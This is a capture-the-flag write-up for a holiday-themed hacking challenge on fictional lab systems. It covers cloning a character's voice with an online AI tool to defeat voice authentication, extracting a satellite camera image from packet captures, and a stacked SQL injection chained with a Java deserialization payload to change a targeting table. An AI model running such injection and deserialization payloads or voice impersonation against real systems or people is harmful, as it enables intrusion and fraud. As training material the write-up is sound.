Geography

Getting To

Based on Ribb’s comments back in Coggoggle Marina, I’ll head to Space Island. There are two stops on the island:

image-20240103233224752

Cape Cosmic is up at the head, and Spaceport Point is at the southern foot.

At either location, the Goose greets me:

Goose of Space Island

Goose of Space Island

GRUNT

Location Layout

At Cape Cosmic, there is a bunch of stuff inside a fence, but I can’t reach any of it:

image-20240103234133849

Spaceport Point is covered in trees, with the Goose of the island to greet me at the dock, and to the back there’s some kind of transport behind a door with Jewel Loggins standing by it:

image-20231228160124559

Space Island Door Access Speaker

Challenge

Through the forest I’ll find Jewel Loggins next to the Space Island Access Speaker:

image-20231228165742419

The ojbective in my badge says:

image-20240103234455001

If I visit Jewel before solving the Active Directory objective, Jewel says:

Jewel Loggins

Jewel Loggins

What are you doing here, and who are you?

Me first? I’m Jewel Loggins. And I was trekking through the jungle and happened to find this place.

I liked this spot and decided to set up camp. Seeing you here is quite the surprise.

Well, because the only other person I’ve ever seen come here is Wombley Cube.

I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.

I guess all this spy stuff is typical for him, so maybe I shouldn’t think much of it. I’m sure everything’s fine.

Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.

I gave it a try, but the door didn’t open for me. Knowing Wombley, it’s some kind of secret passphrase.

If you wanna see where the tram goes, I think you need to find out what that passphrase is.

Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.

I hope you find it. I’ll be here when you get back!

Once I have solved the Active Directory objective and retrieved the passphrase, Jewel says:

Jewel Loggins

Jewel Loggins

What, you know the passphrase!? Let me try it!

Nope, didn’t work. Knowing Wombley, the passphrase isn’t the only requirement. He’s all about that MFA!

Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!

That’s it! You need to be Wombley. You need his voice. Now, how are you gonna get that?

Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I’m sure there’s one out there.

Wombley can be a little hard to track down, but last time he was here I heard him mention Chiaroscuro City on Film Noir Island.

Get Voice Sample

Wombley is right at the entrance to Chiaroscuro City (full details here):

image-20231228173220647

He welcomes me to Chiaroscuro and offers me his audio book:

Wombley Cube

Wombley Cube

Wombley Cube here, welcome to Chiaroscuro City!

Have you heard about my latest project?

I’ve been so inspired by these wonderful islands I’ve decided to write a short story!

The title? It’s “The Enchanted Voyage of Santa and his Elves to the Geese Islands.” Sounds exciting, right?

Here, have this audiobook copy and enjoy the adventure at your convenience, my friend!

Consider it a welcome gift from yours truly, to make your holiday even more delightful.

Trust me, this captivating tale of fiction is going to take you on a magical journey you won’t forget.

Oh, and I promise it will provide some great entertainment while you explore the rest of Geese Islands!

If I talk to Wombley again later, they add:

Wombley Cube

Wombley Cube

Hey, did you have a chance to listen to my audiobook yet?

So, what did you think?

I’ve got a pretty suave voice, right?

AI Speach Generation

I’ll create a free account at play.ht, and once logged in, visit the “Voice Cloning” section on the left menu bar:

image-20231228173817302

I’ll click “Create a new clone”, and select the “Instant” option available to free accounts. It needs a sample, so I’ll give it the audio book:

image-20231228173924860

Almost instantly it shows up as a voice in my menu:

image-20231228173951566

I’ll click “Use” which leads to a new form that takes the text I want to use. I’ll enter what I retrived earlier:

image-20231228174307826Click for full size image

On clicking “Generate Speech”, it processes for a second, and returns audio:

image-20231228174333391

It sounds like Wombley!

Open Door

Back on Spaceport Point, I’ll visit the Access Speaker, and it shows a hand holding a recorder up to the speaker:

image-20231228174509910

Clicking gives a chance to upload the MP3 from play.ht, and after it plays, the door opens:

image-20231228174551459

Seeing just how easy it was to generate voice impersonations was quite a surprise to me!

Epilogue

Jewel is amazed:

Jewel Loggins

Jewel Loggins

Are you like a master spy or something? I’ve only seen stuff like that in the movies!

It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.

Camera Access

Location Layout

Through the door, I’m now inside the fence-line at Cape Cosmic:

image-20231228175701090Click for full size image

There’s a telescope to play with, and a door into Zenith SGS (presumably satellite ground station). Inside I’ll find Wombley and Henry:

image-20231228180009484

Henry is builds satellites:

Henry

Henry

Hi, I’m Henry!

I built the satellites with personalities, and now they keep making dad jokes - whoopsies!

Challenge

The badge says I need to get access to Jack’s camera:

image-20240104000510570

Wombley doesn’t seem to be on my side:

Wombley Cube

Wombley Cube

This is Ground Control, do you read me…? Ground Control to –

Hey! How’d you get in here? That tram is the only accessible point of entry and I secured it with MFA!

No matter, you may have had the skills to find and infiltrate the satellite ground station, but there’s no chance you can hack your way into the satellite itself!

The nanosat’s Supervisor Directory will remain hidden, and you’ll never discover the mastermind behind all this.

So don’t even waste your time trying.

Enumeration

NanoSat-o-Matic

There are two pieces of equipment I need to understand to complete this challenge. The NanoSat-o-Matic is a vending machine that gives out NanoSat frameworks:

NanoSat-o-Matic

NanoSat-o-Matic

Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!

The download link provides client_container.zip, which has all that’s needed for a Docker container:

oxdf@hacky$ ls
assets  build_and_run.sh  client_container.zip  Dockerfile  README.md

README.md has instructions for running it (./build_and_run.sh), and suggests connecting to it with VNC. It also has instructions about WireGuard, which I’ll come back to in a minute.

At the very bottom it has information about using the Nanosat framework:

image-20240104001220790

I’ll make sure to get that URL.

Satellite Ground Station Control Panel

The large computer opens a terminal that looks like a simple Christmas card:

image-20240104001408869

Clicking the Gator opens GateXOR:

image-20240104001436931

Clicking on “Time Travel” will spin up a remote satellite for me to interact with, and give me a Wireguard config to connect to it. “Collapse” will destroy that instance so I can respawn.

image-20240104002505239

I’ll take the Wireguard config and save it as /etc/wireguard/gatexor.conf. I can connect to the VPN referencing it:

oxdf@hacky$ wg-quick up gatexor
[#] ip link add gatexor type wireguard
[#] wg setconf gatexor /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev gatexor
[#] ip link set mtu 1420 up dev gatexor

I can ping 10.1.1.1:

oxdf@hacky$ ping -c 3 10.1.1.1
PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=1 ttl=64 time=40.8 ms
64 bytes from 10.1.1.1: icmp_seq=2 ttl=64 time=40.7 ms
64 bytes from 10.1.1.1: icmp_seq=3 ttl=64 time=40.7 ms

--- 10.1.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2006ms
rtt min/avg/max/mdev = 40.725/40.766/40.847/0.057 ms

Background

There’s a 2023 talk called Introduction to Space System Vulnerabilities by Henry Reed. It’s not strictly necessary to attack this challenge, but it’s worth a watch:

image-20231228201441872

Access NanoSat / CTT

I’ll run the build_and_run.sh script, and it builds the container and then just hangs. I’ll open Vinagre (remote desktop software) and connect to VNC on localhost as the README.md suggested:

image-20240104002046558

It shows a desktop with a ground station:

image-20240104002108240

With a right click I’ll get a menu that has a shortcut to the NanoSat MO Base Station Tool:

image-20240104002233563

Clicking that opens CTT:

image-20240104002251285

I’ll add the URL from the README and click “Fetch Information”, and it populates:

image-20231229061853189Click for full size image

Take Picture with Camera

Enable Camera

Clicking “Connect to Selected Provider” opens the supervisor in a new tab:

image-20240104003026430

At the “Apps Launcher Service”, I’ll select “camera” and click “runApp”. The status updates to “Running”:

image-20240104003144735

Configure Camera

Back at the Communications Settings tab, clicking “Fetch Information” again now shows a second provider:

image-20240104003230888

I’ll select “App: camera” and “Connect to Selected Provider”, opening a new tab:

image-20240104003304368

I want to configure the camera to take a “Base64 Encoded JPG”. On the “Parameter Service” tab, I’ll click “enableGenerate(group=false, 0)” and both options check:

image-20240104003535232

Take Picture

On the “Action Service - Definitions” tab, there’s a single action:

image-20240104003640274

I’ll start Wireshark, and click “submitAction”. It reports success, but doesn’t show anything about an image. However, if I check the packet capture, there’s a huge base64 blob:

image-20240104003845411

Make Image

I found trying to copy the blob out of Wireshark to be very difficult. Instead, I used docker cp to get the PCAP to my VM, and then ran tshark:

oxdf@hacky$ tshark -r cap.pcapng -qz follow,tcp,raw,2 | grep -aEo "[a-f0-9]{100,}" | xxd -r -p | grep -aEo '[A-Za-z0-9+/]{1000,}={0,2}' | head -1 | base64 -d > hhc23-camera-image.jpg

With a bit of reorganizing the data, the result is a picture of Jack on a space ship:

The flag is on his to-do list, “CONQUER HOLIDAY SEASON!”.

Missile Diversion

Challenge

On solving, there’s a new objective:

image-20240104004206221

Wombley is not happy:

Wombley Cube

Wombley Cube

A fellow sabateur, are you? Or just a misguided hero-wannabe?

You think you’re saving the holiday season, but you’re meddling in something you could never understand!

Yes, I sided with Jack, because Santa’s betrayed the elves by forcing us to move our operations to these islands!

He put the entire holiday season at risk, and I could not allow this, I had to do something.

Knowing my skillset, Jack secretly informed me of his plan to show Santa the error of his ways, and recruited me to aid his mission.

Why tell you all this? Because it won’t change anything. Everything is already in motion, and you’re too late.

Plus, the satellite is state-of-the-art, and – oh drat, did I leave the admin tools open?

For some reason, I can’t move when you’re nearby, but if I could, I would surely stop you!

Enumeration

Setup

I’ll turn my attention to the other application in the “Apps Launcher Service”, “missile-targeting-system”. I can run it the same way I ran the camera, and then re-fetch on the main tab, and connect to the app as a provider to get a new tab:

image-20240104004702941

Action Service

The two important tabs here are “Action Service” and “Parameter Service”. “Action Service” has a “Debug” action, with a description of “Gets debug information with options arguments”:

image-20240104004800830

Clicking “submitAction” pops an opportunity to supply arguments:

image-20240104004857925

If I submit the default, it reports success.

Parameter Service

On the “Parameter Service” tab, I see parameters:

image-20240104005009604

If I select “Debug” and click “getValue”, it shows the results of the action:

image-20240104005038004

It’s the database version string.

SQL Injection

Identify

I’ll try sending the Debug service again but this time with an argument of ':

image-20240104005155718

It reports success, but when I get the value, it’s an error:

image-20240104005222108

This looks like SQL injection!

POC

There are a few ways I could try to get data. Typically MariaDB (MySQL) doesn’t support stacked queries (adding a ; and then another query), but it’s worth checking just because it’ll be easiest if it works. I’ll send ; SELECT 1; #:

image-20240104005400330

The value 1 shows up in the result:

image-20240104005430830

Dump

From here, I can enumeration the database. I’ll list the non-information_schema tables with:

; select concat(table_schema, ':', table_name) from information_schema.tables where table_schema != 'information_schema';#

Only one DB, missile_targeting, with a few tables:

image-20240104005720742

I can get all the columns:

; select concat(table_name, ':', column_name) from information_schema.columns where table_schema != 'information_schema';#
image-20240104005900198

I’ll go on to dump all the data from the DB:

  • satellite_query - more later

  • messaging has some unnecessary information

  • The pointing_mode is set to 0, and the pointing_mode_to_str shows that that means it using the Lat/Long in the DB. If it were 1, that would override the Lat/Long and shot for the sun.

  • The current Lat/Long is somewhere in the Pacific Ocean:

image-20240102153445492

Write Limits

Write Fails

It seems like perhaps I just need to write the pointing_mode value to 1 and I’ll win. Unfortunately, when I try:

; update pointing_mode set numerical_mode = 1; #

The result is:

image-20240102154008566

User does not have permissions. I’ll try INSERT:

; insert into pointing_mode (numerical_mode) values (1); #

It returns the same failure.

Get Grants

Rather the continue to guess, I’ll use SHOW GRANTS to see what permissions this user has:

image-20240102155452693

Only SELECT on all tables except for satellite_query, where there’s also INSERT.

satellite_query

Enumeration

The satellite_query table has three columns: jid, object, and results. Sending ; select concat(jid, ':', object, ':', results) from satellite_query;# returns one row:

image-20240104011155658

The jid is 1, and object looks to be a serialized Java object.

The results value is too big to fit on the pop up for getValue, but I can fetch it from Wireshark. It’s Java code:

import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

Source Code Analysis

The code creates an object that can read/write to/from a file or the database. The constructor takes three values:

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

In theory, if I can get a serialized object that is an instance of this that uses a statement to update the database and write that into this table, perhaps it’ll be deserialized and executed.

Create Serialized Java Payload

Code

I’ll start with a copy of SatelliteQueryFileFolderUtility.java in a otherwise clean directory, and create Main.java. This class will create an instance of SatelliteQueryFileFolderUtility set to update the database, and then write that out as a serialized object.

I got ChatGPT to help write this code:

import java.io.*;

public class Main {
    public static void main(String[] args) {
        SatelliteQueryFileFolderUtility exploit = new SatelliteQueryFileFolderUtility("UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1 WHERE id = 1", true, true);
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.ser"))) {
            oos.writeObject(exploit);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Compile and Run

It must have SatelliteQueryFileFolderUtility.java in the same directory (Java is rather picky about filenames matching class names) in order to compile.

When I try to compile this, it complains about missing the Gson library (from SatelliteQueryFileFolderUtility):

oxdf@hacky$ javac Main.java 
./SatelliteQueryFileFolderUtility.java:11: error: package com.google.gson does not exist
import com.google.gson.Gson;
                      ^
./SatelliteQueryFileFolderUtility.java:38: error: cannot find symbol
          Gson gson = new Gson();
          ^
  symbol:   class Gson
  location: class SatelliteQueryFileFolderUtility
./SatelliteQueryFileFolderUtility.java:38: error: cannot find symbol
          Gson gson = new Gson();
                          ^
  symbol:   class Gson
  location: class SatelliteQueryFileFolderUtility
3 errors

I’ll download a copy of it from here, and compile with it:

oxdf@hacky$ javac -cp .:gson-2.10.1.jar Main.java 
oxdf@hacky$ ls
gson-2.10.1.jar  Main.class  Main.java  SatelliteQueryFileFolderUtility.class  SatelliteQueryFileFolderUtility.java

Now I have Main.class, which I can run:

oxdf@hacky$ java Main 
oxdf@hacky$ ls
exploit.ser  gson-2.10.1.jar  Main.class  Main.java  SatelliteQueryFileFolderUtility.class  SatelliteQueryFileFolderUtility.java

It wrote exploit.ser, which is Java serialized data:

oxdf@hacky$ file exploit.ser 
exploit.ser: Java serialization data, version 5
oxdf@hacky$ xxd exploit.ser 
00000000: aced 0005 7372 001f 5361 7465 6c6c 6974  ....sr..Satellit
00000010: 6551 7565 7279 4669 6c65 466f 6c64 6572  eQueryFileFolder
00000020: 5574 696c 6974 7912 d4f6 8d0e b392 cb02  Utility.........
00000030: 0003 5a00 0769 7351 7565 7279 5a00 0869  ..Z..isQueryZ..i
00000040: 7355 7064 6174 654c 000f 7061 7468 4f72  sUpdateL..pathOr
00000050: 5374 6174 656d 656e 7474 0012 4c6a 6176  Statementt..Ljav
00000060: 612f 6c61 6e67 2f53 7472 696e 673b 7870  a/lang/String;xp
00000070: 0101 7400 5155 5044 4154 4520 6d69 7373  ..t.QUPDATE miss
00000080: 696c 655f 7461 7267 6574 696e 675f 7379  ile_targeting_sy
00000090: 7374 656d 2e70 6f69 6e74 696e 675f 6d6f  stem.pointing_mo
000000a0: 6465 2053 4554 206e 756d 6572 6963 616c  de SET numerical
000000b0: 5f6d 6f64 6520 3d20 3120 5748 4552 4520  _mode = 1 WHERE 
000000c0: 6964 203d 2031                           id = 1

Exploit

I’ll base64 encode the payload:

oxdf@hacky$ base64 -w0 exploit.ser 
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdABRVVBEQVRFIG1pc3NpbGVfdGFyZ2V0aW5nX3N5c3RlbS5wb2ludGluZ19tb2RlIFNFVCBudW1lcmljYWxfbW9kZSA9IDEgV0hFUkUgaWQgPSAx

Now my injection will be:

; INSERT INTO satellite_query (object) VALUES(FROM_BASE64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdABRVVBEQVRFIG1pc3NpbGVfdGFyZ2V0aW5nX3N5c3RlbS5wb2ludGluZ19tb2RlIFNFVCBudW1lcmljYWxfbW9kZSA9IDEgV0hFUkUgaWQgPSAx')); #

As soon as I submit that, in my Holiday Hack window I see the challenge is solved!

Epilogue

Wombley is confused:

Wombley Cube

Wombley Cube

A… missile… aimed for Santa’s sleigh? I had no idea…

I can’t believe I was manipulated like this. I’ve been trained to recognize these kinds of tactics!

Santa should never have put the holiday season at risk like he did, but I didn’t know Jack’s true intentions.

I’ll help you bring Jack to justice…

But my mission to ensure Santa never again compromises the holidays is still in progress.

It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph’s Rest.

Use the door to the right to return to the resort lobby and see what happened!

Don’t worry, I’ll meet you there… trust me.

I can view the replay video of Jack launching the missile:

image-20240104012618659

As it’s headed to Earth it gets redirected to the sun, destroying Jacks’ craft:

image-20240104012627103

Back in the resort lobby I’ll find Santa, the Geese, and two Trolls ready to take Jack away:

image-20240104012847053
Santa

Santa

You’ve done it! You’ve saved me and my sleigh from Jack Frost’s dastardly plan!

I must admit, it’s astonishing the lengths Jack will go to in order to try and stop the holiday season.

Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.

And to think he even recruited one of my dear elves… I never saw that coming. Oh, Wombley…

But thanks to your incredible efforts, we’ve proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!

I can’t thank you enough for your help in protecting the magic and joy of this special time of year.

I’d like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.

Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!

Ho ho ho, happy holidays!

Jack shows no remorse:

Jack

Jack

Okay, listen up, yes I’ve been caught, but let me tell you, my plan was incredible, I mean really incredible.

I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.

My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.

I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa’s operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.

And Wombley, the elf, joining me? Easy. He was so easy to convince.

You see, there’s a big, big dissent in Santa’s ranks, huge.

The elves, they’re not happy with Santa.

Mark my words, even if I don’t stop Santa, his own elves will.

It’s going to be tremendous, this you will see.